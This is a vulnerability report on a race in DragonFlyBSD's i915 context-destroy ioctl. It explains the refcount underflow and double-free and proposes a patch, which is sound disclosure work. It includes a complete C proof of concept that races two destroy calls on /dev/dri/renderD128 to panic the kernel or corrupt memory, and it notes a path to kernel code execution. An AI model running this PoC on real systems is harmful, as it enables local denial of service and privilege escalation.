Summary

i915_gem_context_destroy_ioctl performs i915_gem_context_lookup() outside struct_mutex (line 831) but performs the actual destruction (__destroy_hw_context → context_close → i915_gem_context_set_closed + i915_gem_context_put) inside the mutex (lines 835–840). Two threads sharing a DRM fd can both pass the lookup on the same ctx_id, then serialize on the mutex. The second entrant re-enters context_close() on an already-closed context, tripping GEM_BUG_ON (kernel panic) in debug builds and causing a silent refcount underflow in production that leads to use-after-free / double-free of the i915_gem_context structure.

Root cause

i915_gem_context_destroy_ioctl at sys/dev/drm/i915/i915_gem_context.c:831 calls i915_gem_context_lookup(file_priv, args->ctx_id) which atomically increments ctx->ref (via kref_get_unless_zero, i915_drv.h:3301) BEFORE acquiring struct_mutex at line 835. There is no check that the context is still alive (not closed) between the lookup and the call to __destroy_hw_context at line 839.

__destroy_hw_context (line 395-400) unconditionally calls idr_remove() and then context_close() (line 278-299). context_close() calls i915_gem_context_set_closed() at line 280, which in i915_gem_context.h:214-218 begins with:

GEM_BUG_ON(i915_gem_context_is_closed(ctx));

— a check that fires (BUG()) only on the second and subsequent calls.

In production (CONFIG_DRM_I915_DEBUG_GEM unset) GEM_BUG_ON is BUILD_BUG_ON_INVALID (i915_gem.h:60), a compile-time no-op, so the second context_close() runs in full: release_hw_id (early-returns on empty list, line 196), lut_close on already-drained lists, i915_ppgtt_close (idempotent flag set, i915_gem_gtt.c:2299-2303), then i915_gem_context_put(ctx) at line 298 which drops one ref.

With initial refcount=1 (kref_init at __create_hw_context:337), two racing threads each add a lookup ref (+1 each = 3 total), then:

• Thread A's path drops two refs (context_close put + outer put at line 843) → 1
• Thread B's path drops two refs → -1

DragonFlyBSD's kref_put at sys/dev/drm/include/linux/kref.h:58-67 uses raw atomic_dec_and_test() with NO underflow protection (unlike Linux refcount_t): the decrement wraps silently to UINT_MAX, and i915_gem_context_release (line 268-276) is invoked exactly once when refcount hits 0, queueing the actual free via contexts_free_worker → i915_gem_context_free → kfree_rcu (lines 232-266, 207-230).

Threat model

Attacker is any local user with read/write access to a DRM render node (typically /dev/dri/renderD128, mode crw-rw-rw- or group video; ioctls registered DRM_RENDER_ALLOW at i915_drv.c:3260-3266). No root, no capabilities required.

The attacker opens the render node, creates a GEM context, then invokes DRM_IOCTL_I915_GEM_CONTEXT_DESTROY on the same ctx_id from two threads sharing the fd.

Direct impact:

1. Certain kernel panic in any build with CONFIG_DRM_I915_DEBUG_GEM (system-wide DoS)
2. In production builds, refcount underflow to UINT_MAX. Because the wrapped refcount is non-zero, any concurrent or subsequent thread that already holds a ctx ref (e.g. mid-getparam/setparam/execbuffer) and later does i915_gem_context_put() will perform an extra put on memory that has been scheduled for free by the worker, producing a double-free / use-after-free on a ~400-byte slab object that can be groomed for kernel code execution (local unpriv → root).

PoC

findings/poc/DF-1662/race_ctx.c:

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/i915_drm.h>

static int fd;
static __u32 target;

static void *thr(void *_) {
    struct drm_i915_gem_context_destroy d = { .ctx_id = target };
    ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_DESTROY, &d);
    return NULL;
}

int main(void) {
    fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) { perror("renderD128"); return 1; }

    for (long i = 0; i < 200000; i++) {
        struct drm_i915_gem_context_create c = {};
        if (ioctl(fd, DRM_IOCTL_I915_GEM_CONTEXT_CREATE, &c)) continue;
        target = c.ctx_id;
        pthread_t a, b;
        pthread_create(&a, NULL, thr, NULL);
        pthread_create(&b, NULL, thr, NULL);
        pthread_join(a, NULL);
        pthread_join(b, NULL);
    }
    return 0;
}

Build: cc -O2 -pthread -o race_ctx race_ctx.c.

Run on a DragonFlyBSD guest with i915 loaded.

Success criteria:

1. Debug build → kernel panic with GEM_BUG_ON(i915_gem_context_is_closed(ctx)) at i915_gem_context.c:216 / i915_gem_context_set_closed
2. Production build → boot.log/dmesg shows refcount splat or memory corruption; a forced kmem leak detector (options KMEM_CHECK_FREE) reports use-after-free on an i915_gem_context-sized allocation

With heap grooming (spray i915_gem_context or similarly-sized slab objects between the underflow and the deferred kfree_rcu) the double-free becomes exploitable for arbitrary kernel code execution.

Recommended fix

The destroy path must not call __destroy_hw_context on an already-closed context. Easiest correct fix: re-check the closed flag after taking the mutex.

--- a/sys/dev/drm/i915/i915_gem_context.c
+++ b/sys/dev/drm/i915/i915_gem_context.c
@@ -832,6 +832,13 @@ int i915_gem_context_destroy_ioctl(struct drm_device *dev, void *data,
    if (ret)
        goto out;

+   /*
+    * Another thread may have raced us between the unlocked lookup above
+    * and acquiring struct_mutex, and already torn this context down.
+    * The idr_remove() below is a no-op in that case; bail before we
+    * double-call context_close() and underflow ctx->ref.
+    */
+   if (i915_gem_context_is_closed(ctx))
+       goto out_unlock;
+
    __destroy_hw_context(ctx, file_priv);
+out_unlock:
    mutex_unlock(&dev->struct_mutex);

 out:

Alternative (more invasive, removes the race entirely): drop the unlocked lookup and do ctx = idr_find(&file_priv->context_idr, args->ctx_id) inside the mutex, then idr_remove + context_close on that pointer — this makes the idr the single source of truth so the second racing thread simply observes NULL and returns -ENOENT.

Related findings

• DF-1639/1640/1642 (dm_ioctl.c NULL deref + UAF/double-free + uninit kfree family)
• DF-1634 (dm_target_crypt.c uninitialized heap use)